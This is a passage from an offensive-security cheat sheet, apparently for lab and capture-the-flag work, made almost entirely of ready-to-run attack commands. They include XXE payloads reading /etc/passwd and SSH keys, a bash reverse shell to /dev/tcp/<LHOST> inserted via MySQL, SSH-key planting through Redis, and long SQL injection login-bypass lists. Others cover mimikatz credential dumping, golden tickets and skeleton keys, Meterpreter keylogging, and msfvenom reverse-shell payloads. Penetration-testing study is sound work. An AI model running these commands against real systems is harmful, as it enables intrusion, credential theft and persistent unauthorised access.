/PATH/TO/WORDLIST -u http://<RHOST>/dev/304c0c90fbc6520610abbf378e2339d1/db/file_FUZZ.txt --sc 200 -t 20 ``` ##### Fuzzing two Parameters at once ```c wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://<RHOST>:/<directory>/FUZZ.FUZ2Z -z list,txt-php --hc 403,404 -c ``` ##### Domain ```c wfuzz --hh 0 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.<RHOST>' -u http://<RHOST>/ ``` ##### Subdomain ```c wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.<RHOST>" --hc 200 --hw 356 -t 100 <RHOST> ``` ##### Git ```c wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -u http://<RHOST>/FUZZ --hc 403,404 ``` ##### Login ```c wfuzz -X POST -u "http://<RHOST>:<RPORT>/login.php" -d "email=FUZZ&password=<PASSWORD>" -w /PATH/TO/WORDLIST/<WORDLIST>.txt --hc 200 -c wfuzz -X POST -u "http://<RHOST>:<RPORT>/login.php" -d "username=FUZZ&password=<PASSWORD>" -w /PATH/TO/WORDLIST/<WORDLIST>.txt --ss "Invalid login" ``` ##### SQL ```c wfuzz -c -z file,/usr/share/wordlists/seclists/Fuzzing/SQLi/Generic-SQLi.txt -d 'db=FUZZ' --hl 16 http://<RHOST>/select http ``` ##### DNS ```c wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Origin: http://FUZZ.<RHOST>" --filter "r.headers.response~'Access-Control-Allow-Origin'" http://<RHOST>/ wfuzz -c -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-110000.txt --hc 400,404,403 -H "Host: FUZZ.<RHOST>" -u http://<RHOST> -t 100 wfuzz -c -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-110000.txt --hc 400,403,404 -H "Host: FUZZ.<RHOST>" -u http://<RHOST> --hw <value> -t 100 ``` ##### Numbering Files ```c wfuzz -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt --hw 31 http://10.13.37.11/backups/backup_2021052315FUZZ.zip ``` ##### Enumerating PIDs ```c wfuzz -u 'http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/FUZZ/cmdline' -z range,900-1000 ``` #### WPScan ```c wpscan --url https://<RHOST> --enumerate u,t,p wpscan --url https://<RHOST> --plugins-detection aggressive wpscan --url https://<RHOST> --disable-tls-checks wpscan --url https://<RHOST> --disable-tls-checks --enumerate u,t,p wpscan --url http://<RHOST> -U <USERNAME> -P passwords.txt -t 50 ``` #### XML External Entity (XXE) ##### Skeleton Payload Request ```c GET / HTTP/1.1 Host: <RHOST>:<RPORT> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Length: 136 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE test [<!ENTITY xxe SYSTEM "http://<LHOST>:80/shell.php" >]> <foo>&xxe;</foo> ``` ##### Payloads ```c <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [ <!ENTITY passwd SYSTEM 'file:///etc/passwd'> ]> <stockCheck><productId>&passwd;</productId><storeId>1</storeId></stockCheck> ``` ```c <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]><order><quantity>3</quantity><item>&test;</item><address>17th Estate, CA</address></order> ``` ```c username=%26username%3b&version=1.0.0--><!DOCTYPE+username+[+<!ENTITY+username+SYSTEM+"/root/.ssh/id_rsa">+]><!-- ``` ### Database Analysis #### MongoDB ```c mongo "mongodb://localhost:27017" ``` ```c > use <DATABASE>; > show tables; > show collections; > db.system.keys.find(); > db.users.find(); > db.getUsers(); > db.getUsers({showCredentials: true}); > db.accounts.find(); > db.accounts.find().pretty(); > use admin; ``` ##### User Password Reset to "12345" ```c > db.getCollection('users').update({username:"admin"}, { $set: {"services" : { "password" : {"bcrypt" : "$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG" } } } }) ``` #### MSSQL ##### Show Database Content ```c 1> SELECT name FROM master.sys.databases 2> go ``` ##### OPENQUERY ```c 1> select * from openquery("web\clients", 'select name from master.sys.databases'); 2> go ``` ```c 1> select * from openquery("web\clients", 'select name from clients.sys.objects'); 2> go ``` ##### Binary Extraction as Base64 ```c 1> select cast((select content from openquery([web\clients], 'select * from clients.sys.assembly_files') where assembly_id = 65536) as varbinary(max)) for xml path(''), binary base64; 2> go > export.txt ``` ##### Steal NetNTLM Hash / Relay Attack ```c SQL> exec master.dbo.xp_dirtree '\\<LHOST>\FOOBAR' ``` #### MySQL ```c mysql -u root -p mysql -u <USERNAME> -h <RHOST> -p ``` ```c mysql> show databases; mysql> use <DATABASE>; mysql> show tables; mysql> describe <TABLE>; mysql> SELECT * FROM Users; mysql> SELECT * FROM users \G; mysql> SELECT Username,Password FROM Users; ``` ##### Update User Password ```c mysql> update user set password = '37b08599d3f323491a66feabbb5b26af' where user_id = 1; ``` ##### Drop a Shell ```c mysql> \! /bin/sh ``` ##### xp_cmdshell ```c SQL> EXEC sp_configure 'Show Advanced Options', 1; SQL> reconfigure; SQL> sp_configure; SQL> EXEC sp_configure 'xp_cmdshell', 1; SQL> reconfigure SQL> xp_cmdshell "whoami" ``` ```c SQL> enable_xp_cmdshell SQL> xp_cmdshell whoami ``` ##### Insert Code to get executed ```c mysql> insert into users (id, email) values (<LPORT>, "- E $(bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1')"); ``` ##### Write SSH Key into authorized_keys2 file ```c mysql> SELECT "<KEY>" INTO OUTFILE '/root/.ssh/authorized_keys2' FIELDS TERMINATED BY '' OPTIONALLY ENCLOSED BY '' LINES TERMINATED BY '\n'; ``` ##### Linked SQL Server Enumeration ```c SQL> SELECT user_name(); SQL> SELECT name,sysadmin FROM syslogins; SQL> SELECT srvname,isremote FROM sysservers; SQL> EXEC ('SELECT current_user') at [<DOMAIN>\<CONFIG_FILE>]; SQL> EXEC ('SELECT srvname,isremote FROM sysservers') at [<DOMAIN>\<CONFIG_FILE>]; SQL> EXEC ('EXEC (''SELECT suser_name()'') at [<DOMAIN>\<CONFIG_FILE>]') at [<DOMAIN>\<CONFIG_FILE>]; ``` #### NoSQL Injection ```c admin'||''===' {"username": {"$ne": null}, "password": {"$ne": null} } ``` #### PostgreSQL ```c psql psql -h <LHOST> -U <USERNAME> -c "<COMMAND>;" psql -h <RHOST> -p 5432 -U <USERNAME> -d <DATABASE> psql -h <RHOST> -p 5432 -U <USERNAME> -d <DATABASE> ``` ### Common Commands ```c postgres=# \list // list all databases postgres=# \c // use database postgres=# \c <DATABASE> // use specific database postgres=# \s // command history postgres=# \q // quit <DATABASE>=# \dt // list tables from current schema <DATABASE>=# \dt *.* // list tables from all schema <DATABASE>=# \du // list users roles <DATABASE>=# \du+ // list users roles <DATABASE>=# SELECT user; // get current user <DATABASE>=# TABLE <TABLE>; // select table <DATABASE>=# SELECT * FROM users; // select everything from users table <DATABASE>=# SHOW rds.extensions; // list installed extensions <DATABASE>=# SELECT usename, passwd from pg_shadow; // read credentials ``` #### Redis ```c > AUTH <PASSWORD> > AUTH <USERNAME> <PASSWORD> > INFO SERVER > INFO keyspace > CONFIG GET * > SELECT <NUMBER> > KEYS * > HSET // set value if a field within a hash data structure > HGET // retrieves a field and his value from a hash data structure > HKEYS // retrieves all field names from a hash data structure > HGETALL // retrieves all fields and values from a hash data structure > GET PHPREDIS_SESSION:2a9mbvnjgd6i2qeqcubgdv8n4b > SET PHPREDIS_SESSION:2a9mbvnjgd6i2qeqcubgdv8n4b "username|s:8:\"<USERNAME>\";role|s:5:\"admin\";auth|s:4:\"True\";" # the value "s:8" has to match the length of the username ``` ##### Enter own SSH Key ```c redis-cli -h <RHOST> echo "FLUSHALL" | redis-cli -h <RHOST> (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /PATH/TO/FILE/<FILE>.txt cat /PATH/TO/FILE/<FILE>.txt | redis-cli -h <RHOST> -x set s-key <RHOST>:6379> get s-key <RHOST>:6379> CONFIG GET dir 1) "dir" 2) "/var/lib/redis" <RHOST>:6379> CONFIG SET dir /var/lib/redis/.ssh OK <RHOST>:6379> CONFIG SET dbfilename authorized_keys OK <RHOST>:6379> CONFIG GET dbfilename 1) "dbfilename" 2) "authorized_keys" <RHOST>:6379> save OK ``` #### sqlcmd ```c sqlcmd -S <RHOST> -U <USERNAME> ``` #### SQL Injection ##### Master List ```c admin' or '1'='1 ' or '1'='1 " or "1"="1 " or "1"="1"-- " or "1"="1"/* " or "1"="1"# " or 1=1 " or 1=1 -- " or 1=1 - " or 1=1-- " or 1=1/* " or 1=1# " or 1=1- ") or "1"="1 ") or "1"="1"-- ") or "1"="1"/* ") or "1"="1"# ") or ("1"="1 ") or ("1"="1"-- ") or ("1"="1"/* ") or ("1"="1"# ) or '1`='1- ``` ##### Authentication Bypass ```c '-' ' ' '&' '^' '*' ' or 1=1 limit 1 -- -+ '="or' ' or ''-' ' or '' ' ' or ''&' ' or ''^' ' or ''*' '-||0' "-||0" "-" " " "&" "^" "*" '--' "--" '--' / "--" " or ""-" " or "" " " or ""&" " or ""^" " or ""*" or true-- " or true-- ' or true-- ") or true-- ') or true-- ' or 'x'='x ') or ('x')=('x ')) or (('x'))=(('x " or "x"="x ") or ("x")=("x ")) or (("x"))=(("x or 2 like 2 or 1=1 or 1=1-- or 1=1# or 1=1/* admin' -- admin' -- - admin' # admin'/* admin' or '2' LIKE '1 admin' or 2 LIKE 2-- admin' or 2 LIKE 2# admin') or 2 LIKE 2# admin') or 2 LIKE 2-- admin') or ('2' LIKE '2 admin') or ('2' LIKE '2'# admin') or ('2' LIKE '2'/* admin' or '1'='1 admin' or '1'='1'-- admin' or '1'='1'# admin' or '1'='1'/* admin'or 1=1 or ''=' admin' or 1=1 admin' or 1=1-- admin' or 1=1# admin' or 1=1/* admin') or ('1'='1 admin') or ('1'='1'-- admin') or ('1'='1'# admin') or ('1'='1'/* admin') or '1'='1 admin') or '1'='1'-- admin') or '1'='1'# admin') or '1'='1'/* 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 admin" -- admin';-- azer admin" # admin"/* admin" or "1"="1 admin" or "1"="1"-- admin" or "1"="1"# admin" or "1"="1"/* admin"or 1=1 or ""=" admin" or 1=1 admin" or 1=1-- admin" or 1=1# admin" or 1=1/* admin") or ("1"="1 admin") or ("1"="1"-- admin") or ("1"="1"# admin") or ("1"="1"/* admin") or "1"="1 admin") or "1"="1"-- admin") or "1"="1"# admin") or "1"="1"/* 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055 ``` #### SQL Truncation Attack ```c 'admin@<FQDN>' = 'admin@<FQDN>++++++++++++++++++++++++++++++++++++++htb' ``` #### sqlite3 ```c sqlite3 <FILE>.db ``` ```c sqlite> .tables sqlite> PRAGMA table_info(<TABLE>); sqlite> SELECT * FROM <TABLE>; ``` #### sqsh ```c sqsh -S <RHOST> -U <USERNAME> ``` ### Password Attacks #### CrackMapExec ```c crackmapexec ldap -L crackmapexec mysql -L crackmapexec smb -L crackmapexec ssh -L crackmapexec winrm -L ``` ```c crackmapexec smb <RHOST> -u " " -p "" --shares crackmapexec smb <RHOST> -u " " -p "" --shares -M spider_plus crackmapexec smb <RHOST> -u " " -p "" --shares -M spider_plus -o READ_ONLY=false crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --shares crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --lsa crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --sam crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" -M lsassy crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --ntds crackmapexec smb <RHOST> -u "<USERNAME>" -H "<NTLMHASH>" --ntds crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --ntds --user <USERNAME> crackmapexec smb <RHOST> -u "<USERNAME>" -H "<NTLMHASH>" --ntds --user <USERNAME> crackmapexec smb <RHOST> -u <USERNAME> -H <HASH> -x "whoami" crackmapexec winrm -u usernames.txt -p '<PASSWORD>' -d <DOMAIN> <RHOST> crackmapexec winrm <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt crackmapexec <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --shares crackmapexec <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --pass-pol crackmapexec <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --lusers crackmapexec <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --sam crackmapexec <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt -x 'net user Administrator /domain' --exec-method smbexec crackmapexec <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --wdigest enable crackmapexec <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt -x 'quser' crackmapexec <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt -m modules/credentials/mimikatz.py ``` #### fcrack ```c fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt <FILE>.zip ``` #### hashcat > https://hashcat.net/hashcat/ > https://hashcat.net/wiki/doku.php?id=hashcat > https://hashcat.net/cap2hashcat/ > https://hashcat.net/wiki/doku.php?id=example_hashes ```c hashcat --example-hashes ``` ```c hashcat -m 0 md5 /usr/share/wordlists/rockyou.txt hashcat -m 100 sha-1 /usr/share/wordlists/rockyou.txt hashcat -m 1400 sha256 /usr/share/wordlists/rockyou.txt hashcat -m 3200 bcrypt /usr/share/wordlists/rockyou.txt hashcat -m 900 md4 /usr/share/wordlists/rockyou.txt hashcat -m 1000 ntlm /usr/share/wordlists/rockyou.txt hashcat -m 1800 sha512 /usr/share/wordlists/rockyou.txt hashcat -m 160 hmac-sha1 /usr/share/wordlists/rockyou.txt hashcat -a 0 -m 0 hash.txt SecLists/Passwords/xato-net-10-million-passwords-1000000.txt -O --force hashcat -O -m 500 -a 3 -1 ?l -2 ?d -3 ?u --force hash.txt ?3?3?1?1?1?1?2?3 ``` ##### Cracking ASPREPRoast Password File ```c hashcat -m 18200 -a 0 <FILE> <FILE> ``` ##### Cracking Kerberoasting Password File ```c hashcat -m 13100 --force <FILE> <FILE> ``` ##### Bruteforce based on the Pattern ```c hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdout ``` ##### Generate Password Candidates: Wordlist + Pattern ```c hashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/usr/share/wordlists/rockyou.txt ?d?d?d?u?u?u --force --potfile-disable --stdout ``` ##### Generate NetNLTMv2 with internalMonologue and crack with hashcat ```c InternalMonologue.exe -Downgrade False -Restore False -Impersonate True -Verbose False -challange 002233445566778888800 ``` ###### Result ```c spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000 ``` ##### Crack with hashcat ```c hashcat -m5600 'spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000' -a 3 /usr/share/wordlists/rockyou.txt --force --potfile-disable ``` ##### Rules > https://github.com/NotSoSecure/password_cracking_rules/blob/master/OneRuleToRuleThemAll.rule ##### Cracking with OneRuleToRuleThemAll.rule ```c hashcat -m 3200 hash.txt -r /PATH/TO/FILE.rule ``` #### Hydra ```c hydra <RHOST> -l <USERNAME> -P /usr/share/wordlists/<FILE> ftp|ssh|smb://<RHOST> ``` ```c export HYDRA_PROXY=connect://127.0.0.1:8080 unset HYDRA_PROXY ``` ```c hydra -l <USERNAME> -P /usr/share/wordlists/rockyou.txt <RHOST> http-post-form "/admin.php:username=^USER^&password=^PASS^:login_error" ``` ```c hydra <RHOST> http-post-form -L /usr/share/wordlists/list "/login:usernameField=^USER^&passwordField=^PASS^:unsuccessfulMessage" -s <RPORT> -P /usr/share/wordlists/list hydra <RHOST> http-form-post "/otrs/index.pl:Action=Login&RequestedURL=Action=Admin&User=root@localhost&Password=^PASS^:Login failed" -l root@localhost -P otrs-cewl.txt -vV -f hydra -l admin -P /usr/share/wordlists/rockyou.txt <RHOST> http-post-form "/Account/login.aspx?ReturnURL=/admin/:__VIEWSTATE=COOKIE_1&__EVENTVALIDATION=COOKIE_2&UserName=^USER^&Password=^PASS^&LoginButton=Log+in:Login failed" ``` #### John ```c /usr/share/john/ssh2john.py id_rsa > hash john hash --wordlist=/usr/share/wordlists/rockyou.txt <FILE> john --rules --wordlist=/usr/share/wordlists/rockyou.txt <FILE> john --show <FILE> ``` #### Kerbrute ##### User Enumeration ```c ./kerbrute userenum -d <DOMAIN> --dc <DOMAIN> /PATH/TO/FILE/<USERNAMES> ``` ##### Password Spray ```c ./kerbrute passwordspray -d <DOMAIN> --dc <DOMAIN> /PATH/TO/FILE/<USERNAMES> <PASSWORD> ``` #### LaZagne ```c laZagne.exe all ``` #### mimikatz ##### Dump Hshes ```c .\mimikatz.exe sekurlsa::minidump /users/admin/Desktop/lsass.DMP sekurlsa::LogonPasswords meterpreter > getprivs meterpreter > creds_all meterpreter > golden_ticket_create ``` ##### Pass the Ticket ```c .\mimikatz.exe sekurlsa::tickets /export kerberos::ptt [0;76126]-2-0-40e10000-Administrator@krbtgt-<RHOST>.LOCAL.kirbi klist dir \\<RHOST>\admin$ ``` ##### Forging Golden Ticket ```c .\mimikatz.exe privilege::debug lsadump::lsa /inject /name:krbtgt kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500 misc::cmd klist dir \\<RHOST>\admin$ ``` ##### Skeleton Key ```c privilege::debug misc::skeleton net use C:\\<RHOST>\admin$ /user:Administrator mimikatz dir \\<RHOST>\c$ /user:<USERNAME> mimikatz ``` #### pypykatz ```c pypykatz lsa minidump lsass.dmp ``` ### Exploitation Tools #### ImageTragick > https://imagetragick.com/ #### MSL / Polyglot Attack > https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html ##### poc.svg ```c <image authenticate='ff" `echo $(cat /home/<USERNAME>/.ssh/id_rsa)> /dev/shm/id_rsa`;"'> <read filename="pdf:/etc/passwd"/> <get width="base-width" height="base-height" /> <resize geometry="400x400" /> <write filename="test.png" /> <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="msl:poc.svg" height="100" width="100"/> </svg> </image> ``` ```c convert poc.svg poc.png cp /tmp/poc.svg /var/www/html/convert_images/ ``` #### Metasploit ```c $ sudo msfdb run // start database $ sudo msfdb init // database initialization $ msfdb --use-defaults delete // delete existing databases $ msfdb --use-defaults init // database initialization $ msfdb status // database status msf6 > workspace // metasploit workspaces msf6 > workspace -a <WORKSPACE> // add a workspace msf6 > workspace -r <WORKSPACE> // rename a workspace msf6 > workspace -d <WORKSPACE> // delete a workspace msf6 > workspace -D // delete all workspaces msf6 > db_nmap <OPTIONS> // execute nmap and add output to database msf6 > hosts // reads hosts from database msf6 > services // reads services from database msf6 > vulns // displaying vulnerabilities msf6 > search // search within metasploit msf6 > set RHOST <RHOST> // set remote host msf6 > set RPORT <RPORT> // set remote port msf6 > run // run exploit msf6 > spool /PATH/TO/FILE // recording screen output msf6 > save // saves current state msf6 > exploit // using module exploit msf6 > payload // using module payload msf6 > auxiliary // using module auxiliary msf6 > encoder // using module encoder msf6 > nop // using module nop msf6 > show sessions // displays all current sessions msf6 > sessions -i 1 // switch to session 1 msf6 > sessions -u <ID> // upgrading shell to meterpreter msf6 > sessions -k <ID> // kill specific session msf6 > sessions -K // kill all sessions msf6 > jobs // showing all current jobs msf6 > show payloads // displaying available payloads msf6 > set VERBOSE true // enable verbose output msf6 > set forceexploit true // exploits the target anyways msf6 > set EXITFUNC thread // reverse shell can exit without exit the program msf6 > set AutoLoadStdapi false // disables autoload of stdapi msf6 > set PrependMigrate true // enables automatic process migration msf6 > set PrependMigrateProc explorer.exe // auto migrate to explorer.exe msf6 > use post/PATH/TO/MODULE // use post exploitation module msf6 > use post/linux/gather/hashdump // use hashdump for Linux msf6 > use post/multi/manage/shell_to_meterpreter // shell to meterpreter msf6 > use exploit/windows/http/oracle_event_processing_upload // use a specific module C:\> > Ctrl + z // put active meterpreter shell in background meterpreter > loadstdapi // load stdapi meterpreter > background // put meterpreter in background (same as "bg") meterpreter > shell // get a system shell meterpreter > channel -i <ID> // get back to existing meterpreter shell meterpreter > ps // checking processes meterpreter > migrate 2236 // migrate to a process meterpreter > getuid // get the user id meterpreter > sysinfo // get system information meterpreter > search -f <FILE> // search for a file meterpreter > upload // uploading local files to the target meterpreter > ipconfig // get network configuration meterpreter > load powershell // loads powershell meterpreter > powershell_shell // follow-up command for load powershell meterpreter > powershell_execute // execute command meterpreter > powershell_import // import module meterpreter > powershell_shell // shell meterpreter > powershell_session_remove // remove meterpreter > powershell_execute 'Get-NetNeighbor | Where-Object -Property State -NE "Unreachable" | Select-Object -Property IPAddress' // network discovery meterpreter > powershell_execute '1..254 | foreach { "<XXX.XXX.XXX>.${_}: $(Test-Connection -TimeoutSeconds 1 -Count 1 -ComputerName <XXX.XXX.XXX>.${_} -Quiet)" }' // network scan meterpreter > powershell_execute 'Test-NetConnection -ComputerName <RHOST> -Port 80 | Select-Object -Property RemotePort, TcpTestSucceeded' // port scan meterpreter > load kiwi // load mimikatz meterpreter > help kiwi // mimikatz help meterpreter > kiwi_cmd // execute mimikatz native command meterpreter > lsa_dump_sam // lsa sam dump meterpreter > dcsync_ntlm krbtgt // dc sync meterpreter > creds_all // dump all credentials meterpreter > creds_msv // msv dump meterpreter > creds_kerberos // kerberos dump meterpreter > creds_ssp // ssp dump meterpreter > creds_wdigest // wdigest dump meterpreter > getprivs // get privileges after loading mimikatz meterpreter > getsystem // gain system privileges if user is member of administrator group meterpreter > hashdump // dumps all the user hashes meterpreter > run post/windows/gather/checkvm // check status of the target meterpreter > run post/multi/recon/local_exploit_suggester // checking for exploits meterpreter > run post/windows/manage/enable_rdp // enables rdp meterpreter > run post/multi/manage/autoroute // runs autoroutes meterpreter > run auxiliary/server/socks4a // runs socks4 proxy server meterpreter > keyscan_start // enabled keylogger meterpreter > keyscan_dump // showing the output meterpreter > screenshare // realtime screen sharing meterpreter > screenshare -q 100 // realtime screen sharing meterpreter > record_mic // recording mic output meterpreter > timestomp // modify timestamps meterpreter > execute -f calc.exe // starts a program on the victim meterpreter > portfwd add -l <LPORT> -p <RPORT> -r 127.0.0.1 // port forwarding ``` ##### Metasploit through Proxychains ```c proxychains -q msfconsole ``` ##### Auxiliary Output Directory ```c /home/<USERNAME>/.msf4/loot/20200623090635_default_<RHOST>_nvms.traversal_680948.txt ``` ##### Meterpreter Listener ###### Generate Payload ```c msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o meterpreter_payload.exe ``` ###### Setup Listener for Microsoft Windows ```c msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST <LHOST> LHOST => <LHOST> msf6 exploit(multi/handler) > set LPORT <LPORT> LPORT => <LPORT> msf6 exploit(multi/handler) > run ``` ###### Download Files ```c msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o <FILE>.exe ``` ```c msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST <LHOST> LHOST => <LHOST> msf6 exploit(multi/handler) > set LPORT <LPORT> LPORT => <LPORT> msf6 exploit(multi/handler) > run ``` ```c .\<FILE>.exe ``` ```c meterpreter > download * ``` ### Post Exploitation ### ADCSTemplate ```c Import-Module .\ADCSTemplate.psm1 New-ADCSTemplate -DisplayName TopCA -JSON (Export-ADCSTemplate -DisplayName 'Subordinate Certification Authority') -AutoEnroll -Publish -Identity '<DOMAIN>\Domain Users' ``` #### BloodHound ```c pip install bloodhound sudo apt-get install neo4j sudo apt-get install bloodhound ``` ##### Installing and starting Database ```c wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add - sudo echo 'deb https://debian.neo4j.com stable 4.0' > /etc/apt/sources.list.d/neo4j.list sudo apt-get update sudo apt-get install apt-transport-https sudo apt-get install neo4j systemctl start neo4j ``` ```c sudo neo4j start console sudo bloodhound --no-sandbox ``` > http://localhost:7474/browser/ ###### Docker Container ```c docker run -itd -p 7687:7687 -p 7474:7474 --env NEO4J_AUTH=neo4j/<PASSWORD> -v $(pwd)/neo4j:/data neo4j:4.4-community ``` ##### Database Password Reset > http://localhost:7474/browser/ ```c ALTER USER neo4j SET PASSWORD '<PASSWORD>' ``` #### BloodHound Python ```c bloodhound-python -d <DOMAIN> -u <USERNAME> -p "<PASSWORD>" -gc <DOMAIN> -c all -ns <RHOST> bloodhound-python -u <USERNAME> -p '<PASSWORD>' -d <DOMAIN> -ns <RHOST> -c All bloodhound-python -u <USERNAME> -p '<PASSWORD>' -d <DOMAIN> -dc <RHOST> -ns <RHOST> --dns-tcp -no-pass -c ALL --zip ``` #### Certify > https://github.com/GhostPack/Certify ```c .\Certify find /vulnerable .\Certify.exe find /vulnerable /currentuser ``` #### Certipy > https://github.com/ly4k/Certipy > https://github.com/ly4k/BloodHound/ ```c certipy find -dc-ip <RHOST> -u <USERNAME>@<DOMAIN> -p <PASSWORD> ``` ##### Account Creation ```c certipy account create -username <USERNAME>@<DOMAIN> -password <PASSWORD> -dc-ip <RHOST> -dns <DOMAIN_CONTROLLER_DNS_NAME> -user <COMPUTERNAME> ``` ##### Authentication ```c certipy auth -pfx <FILE>.pfx -dc-ip <RHOST> -u <USERNAME> -domain <DOMAIN> ``` ###### LDAP-Shell ```c certipy auth -pfx <FILE>.pfx -dc-ip <RHOST> -u <USERNAME> -domain <DOMAIN> -ldap-shell ``` ```c # add_user <USERNAME> # add_user_to_group <GROUP> ``` ##### Certificate Forging ```c certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -template Web -dc-ip <RHOST> -save-old ``` ##### Certificate Request Run the following command twice because of a current issue with `certipy`. ```c certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQDN> -template <TEMPLATE> -dc-ip <RHOST> ``` ```c certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQDN> -template <TEMPLATE> -dc-ip <RHOST> -upn <USERNAME>@<DOMAIN> -dns <FQDN> certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQDN> -template <TEMPLATE> -dc-ip <RHOST> -upn <USERNAME>@<DOMAIN> -dns <FQDN> -debug ``` ##### Revert Changes ```c certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -template <TEMPLATE> -dc-ip <RHOST> -configuration <TEMPLATE>.json ``` ##### Start BloodHound Fork ```c ./BloodHound --disable-gpu-sandbox ``` #### enum4linux-ng ```c enum4linux-ng -A <RHOST> ``` #### Evil-WinRM ```c evil-winrm -i <RHOST> -u <USERNAME> -p <PASSWORD> evil-winrm -i <RHOST> -c /PATH/TO/CERTIFICATE/<CERTIFICATE>.crt -k /PATH/TO/PRIVATE/KEY/<KEY>.key -p -u -S ``` #### Impacket ```c impacket-smbserver local . -smb2support impacket-reg <DOMAIN>/<USERNAME>:<PASSWORD:PASSWORD_HASH>@<RHOST> <ACTION> <ACTION> impacket-services <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST> <ACTION> impacket-netview <DOMAIN>/<USERNAME> -targets /PATH/TO/FILE/<FILE>.txt -users /PATH/TO/FILE/<FILE>.txt impacket-lookupsid <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST> impacket-GetADUsers -all -dc-ip <RHOST> <DOMAIN>/ impacket-getST <DOMAIN>/<USERNAME>$ -spn WWW/<DOMAIN_CONTROLLER>.<DOMAIN> -hashes :d64b83fe606e6d3005e20ce0ee932fe2 -impersonate Administrator impacket-rpcdump <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST> impacket-samrdump <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST> impacket-atexec -k -no-pass 